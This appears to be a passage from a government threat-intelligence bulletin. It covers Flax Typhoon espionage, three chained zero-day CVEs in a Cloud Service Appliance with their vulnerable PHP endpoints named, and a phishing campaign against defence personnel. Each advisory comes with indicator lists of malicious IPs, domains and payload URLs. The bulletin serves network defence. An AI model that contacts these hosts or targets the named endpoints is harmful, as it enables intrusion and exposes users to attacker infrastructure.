\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-TAG-2024-10-15-002**

It has been observed that the state-sponsored threat actor Flax Typhoon is conducting espionage campaigns with focus on gaining and maintaining long-term access to networks using minimal malware. Flax Typhoon relies on tools built into the operating system and legitimate software to remain undetected. Adversary exploits vulnerabilities in public-facing servers, use living-off-the-land techniques, and deploy a VPN connection to maintain persistence and move laterally within compromised networks.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:-**

141.164.41.128

45.63.123.142

139.84.174.129

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-10-16-009**

It has been observed that nation-state adversary is exploiting three zero days to gain unauthenticated access to the  Cloud Service Appliance ( CSA), enumerate users configured in the appliance, and attempt to access the credentials of those users.

Threat actors are observed exploiting and chaining these zero-day vulnerabilities to gain initial access and establish beachhead access to to a victim’s network. The Three vulnerabilities are as follows:

1). CVE-2024-8190 (CVSS score: 7.2) - An improper neutralization of special elements used in an OS Command ('OS Command Injection') vulnerability exists that, when exploited, allows a remote, privileged attacker to obtain unauthorized access. This vulnerability is exploited in the wild, and weaponized code is publicly available. A command injection flaw in the resource /gsb/DateTimeTab.php.

2). CVE-2024-8963 (CVSS score: 9.4) - An improper limitation of a pathname to a restricted directory path traversal vulnerability exists that, when exploited, allows a remote attacker to obtain unauthorized access. This vulnerability is exploited in the wild, and exploit code is not publicly available. A path traversal vulnerability on the resource /client/index.php.

3). CVE-2024-9380 (CVSS score: 7.2) - An improper neutralization of special elements used in a command injection vulnerability exists that, when exploited, allows a remote, privileged attacker to execute arbitrary code. This vulnerability is exploited in the wild, and exploit code is not publicly available. An authenticated command injection vulnerability affecting the resource reports.php

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

apiv5.serverbks.xyz

189f31ed7d.ipv6.bypass.eu.org

iowxuintgredogzgblrsmr2cx2e471bor.oast.fun

o.lencr.org

c67f045c2f.ipv6.1433.eu.org

**URLs:**

http://temp.sh/khkzg/DateTimeTab.php

http://temp.sh/vQuoW/reports.php

http://l8u6aolk4ejfsl9zeq6321zvwm2eq3.burpcollaborator.net

**IPs:**

54.77.139.23

34.250.195.30

216.131.75.52

24.166.100.255

67.217.228.92

69.49.88.235

45.61.136.189

3.248.33.252

38.207.159.76

193.189.100.197

23.236.66.97

74.62.81.162

206.189.156.69

51.91.79.17

156.234.193.18

208.105.190.170

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-10-16-007**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domain:**

mail-panel.in

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*